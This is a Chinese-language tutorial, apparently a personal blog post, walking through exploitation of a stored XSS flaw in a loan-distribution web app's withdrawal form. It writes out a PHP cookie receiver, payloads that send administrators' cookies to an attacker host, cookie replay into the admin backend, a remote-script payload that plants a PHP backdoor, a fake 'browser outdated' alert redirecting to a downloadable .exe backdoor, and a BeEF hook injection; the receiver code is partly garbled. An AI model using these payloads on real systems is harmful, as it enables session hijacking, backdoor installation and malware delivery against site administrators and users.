本文为个人学习与实战过程中的思路总结,旨在分享技术探索经验,若有疏漏之处,欢迎交流指正。
漏洞测试须在合法授权环境进行,可使用自己搭建的靶场或获书面授权的目标系统,否则将担法律责任。
阅读文章请遵守本文《法律与责任声明》
XSS跨站-获取凭据
演示:(白盒)
某贷款分配系统存储XSS利用

这是其网站首页

然后可以访问后台


安全漏洞产生在提现申请中
我们可以通过数据库先给某个账号设置一下金额

修改完后保存刷新,然后我登录该用户

我们进行提现

然后会跳转到这个界面我们随便输入一个44444
提交后我们去刷新后台看数据,然后就会看到提现申请中多了刚刚申请的内容,结算账号就会显示我们刚刚写的结算账号,然后对应的结算金额

然后此处我们尝试安全注入
提现输入结算账号后再加入安全payload,此处先只是验证alert弹窗
<>alert(1)<>
我们可以看下数据库中

然后在管理员界面模拟触发脚本,重新访问提现申请记录就会弹窗

但结算账号上只是单纯的写了44444并没有显示脚本

我们可用看源码其实是有脚本的

然后现在我们就可以尝试性的进行后续安全测试,我们的目的不只是让其弹窗
条件:
无防护Cookie凭据获取
利用:
有两种利用方式,使用XSS平台或手写代码
我们先在开发者控制台中看一下cookie和url
获取cookie

获取当前页面地址

手工:
先写一个用于接收数据的代码:
核心代码
$x'x'x'x=$_GET['u'];
$xxxx=$_GET['c'];
$fp = fopen('cookie.txt',"a");
fwrite($fp,$url."|".$cookie."\n");
我们放在自己的某网站目录下
然后写获取cookie的安全脚本

这是一段典型的跨站脚本测试(XSS)配套 Cookie 获取脚本,常用于网络安全测试中,获取用户的登录凭证。
接收受害者浏览器通过 XSS 脚本发送的 Cookie 数据,并持久化存储到服务器的cookie.txt文件中,实现获取凭证。
也就是说我们要把这个脚本写到目标网站数据库,当管理员意外触发脚本后会自动获取其cookie和url到我们指定的网站目录(我们搭的外网某网站,专门接收返回的数据)
脚本:
<>var url='http://xx.xx.xx.xx/getcookie.php?u='+window.location.href+'&c='+document.cookie;document.write("<img src="+url+" />");</>
然后我们按照刚刚xss注入的方法将其注入到结算账号中

在后台可以看到注入成功了,已经显示在数据库
然后我们模拟管理员刷新访问提现申请界面

可以发现script代码一定是成功了,因为都显示出来图片了,大概就是被解析了

在我们接收数据的地方去看

然后就可以看到cookie文件中获取的信息
但突然发现脚本有问题,只获取了1888888cookie值并没有获取完善
应该是脚本的问题我ai改一改
<>var url='http://xxxxxxxxx/getcookie.php?u='+encodeURIComponent(window.location.href)+'&c='+encodeURIComponent(document.cookie);var img=new Image();img.src=url;</>

成功
然后我们此时就有了cookie的值和url就可以模拟利用cookie登录该网站


当我把里面的值改为我刚刚获取的值,然后把url改为我刚刚获取的url直接访问后台

整个过程总结就是验证了xss安全漏洞的存在,然后将安全脚本注入等待管理员触发,当管理员触发后通过获取网站管理员cookie和url返回到指定地点,然后利用cookie和url绕过登录管理员后台
平台:
利用XSSReceiver平台来获取
这个项目的标准中文名是蓝莲花,全称为蓝莲花 XSS 接收平台。
该项目源自清华大学蓝莲花战队(BlueLotus Team),是其开源的 XSS 实战检测与数据分析平台。战队曾获多项国际顶级网络安全竞赛冠军,因此该平台在圈内极具权威性。
核心功能
它是一款专门用于 Web 安全测试 的开源工具,核心作用是:
- 接收 XSS 攻击数据:当受害者触发 XSS 安全漏洞时,平台实时捕获 Cookie、页面 URL、本地存储等敏感信息。
- 可视化管理:提供日志展示、溯源、获取信息辅助等功能,方便安全人员复盘与利用安全漏洞。
搭建:


登录


点击左侧我的js

点击下方的添加

这里可以选择模板,我们可以到模板页面看一下

我们只需要使用默认基础模板default.xss

然后修改模板中的地址,此处注意地址要改对路径/目录,要改到此平台根目录

此处注意搞这些名称什么的最好不要带空格或者什么符号,容易出错
然后点击下方的新增按钮
然后再点击生成安全payload

正常就使用默认给的这个就行

右边的都是加一些编码方式,是用于绕过,我们暂时不需要
复制这个安全payload,然后我们就可以使用这个安全payload按照刚刚同样的思路去进行xss注入
然后假设受害者触发我们的脚本

表面上平平无奇


实际以经触发了脚本
因为之前我们安装搭建这个平台的时候开通了某服务连接着某邮箱,所以一有情况就发来邮件

我们看平台内也有信息了

此处是因为目标机器在局域网的原因,假如是外网的就能看到外网的ip,位置等信息
XSS跨站-数据提交
上面演示是在没有cookie防护的基础上,当有cookie防护的话上面那个方法根本行不通,那么我们就需要使用现在要讲的这种方法
这种方法原理是
比如我们刚刚申请的那么多提现申请,管理员在点击同意后就会触发一个安全脚本,而我们以及在代码中写了脚本
举个例:
在某处用户管理中,可以添加会员,我们在添加会员的过程中抓包,然后模仿包的内容,然后注入安全脚本,通过某种方法,当管理员点击后触发就自动创建了一个用户
这就是想干某事,在没有获取cookie的情况下就可以让管理员帮你干某事
条件:
熟悉后台业务功能数据包(知道是怎么提交的数据),利用安全脚本写一个模拟提交
利用:
凭据获取不到或有防护无法利用凭据进入时执行其他(就是我们说的获取不到cookie)
演示:
某面板系统存储XSS提交数据包模拟写入后门文件
此处我们先看一下文件

我们的目的就是在文件某目录下创建一个1.php来让我们能够连接
所以这个安全漏洞就体现出我们对该网站后台业务逻辑功能的了解,我们可以假装新建文件看看数据包

然后看数据包,我们还需要对这个数据包有一定的了解方便我们构造脚本文件
构造好脚本后然后我们利用xss注入漏洞来注入脚本
<xxxxx src="http://xxxxxxx/poc1.js"></xxxxxx>
然后我们登录进去看

然后这个php中放了我们的一句话
然后我们就可以去使用后门连接
根据这个后门代码去用相应的连接工具
XSS跨站-部署可访问页面
1、部署可访问的页面并修改
我搞了一个xxxxxxx的页面
我们直接phpstudy中运行,本地访问网站,点击立即下载就会下载后门
我们可以修改修改里面的脚本什么的
2、注入XSS代码等待目标触发
此处我们可以还是使用那个理财网站
我们可以先使用cs生成一个后门放到某个地方
然后写脚本,里面写上我们后面的地址让目标网站访问
<xxxxx>alert('当前浏览器xxxxx版本过低,请下载升级!');location.href='http://x.x.x.x/xxxx.exe'</xxxxxx>
其实可以不用写跳转连接跳转到我们的钓鱼网站,都已经可以注入了直接让目标下载也可以

然后就会出现下载界面
XSS跨站-溯源综合
浏览器控制框架-beef-xss
只需执行JS文件,即可实现对当前浏览器的控制,可配合各类手法利用
利用:
<xxxxxx src="http://(服务器外网ip):3000/hook.js"></xxxxx>
我们还是使用刚刚的骑士财金融网站
先把数据库中的安全脚本删掉,方便我们注入新的安全脚本
此处我们先搭一下beef




然后浏览器访问
http://(服务器外网ip)/ui/panel (账号密码:beef/beef)


然后重新在结算中注入安全脚本(记得改ip,记得还有端口),然后目标访问提现申请触发脚本

然后在beef中就能看到上线

然后右侧有很多功能,可以自己去学习研究!
本篇完 | 实践出真知,交流共进步
每一篇文章都是一次沉淀,感谢你的阅读。技术没有捷径,唯有不断积累、不断输出。期待下次继续与你分享更多实战经验,一起前行。
《法律与责任声明》
本内容仅用于网络安全漏洞的技术研究、学习与交流。
一、合法性要求
- 严格遵守《中华人民共和国网络安全法》及相关法律法规,严禁将所学技术用于非法活动,如未经授权的攻击、窃取信息等。例如,不得对未授权的真实生产环境网站做漏洞测试。
- 漏洞测试须在合法授权环境进行,可使用自己搭建的靶场或获书面授权的目标系统,否则将担法律责任。
二、风险与责任
- 若因参考本内容对第三方造成损失,本人不承担法律责任,使用者自行担责。
三、传播限制
- 禁止将本内容用于恶意传播,如制作恶意教程、培训非法黑客组织,应维护良好网络安全环境。
- 发现有人利用本内容非法活动,应及时举报。
四、版权声明
本文为本人独立创作,有完整知识产权。未经书面许可,任何单位或个人不得转载、复制或以其他方式使用,违者依法追责。
阅读并使用本文章内容即表示同意声明条款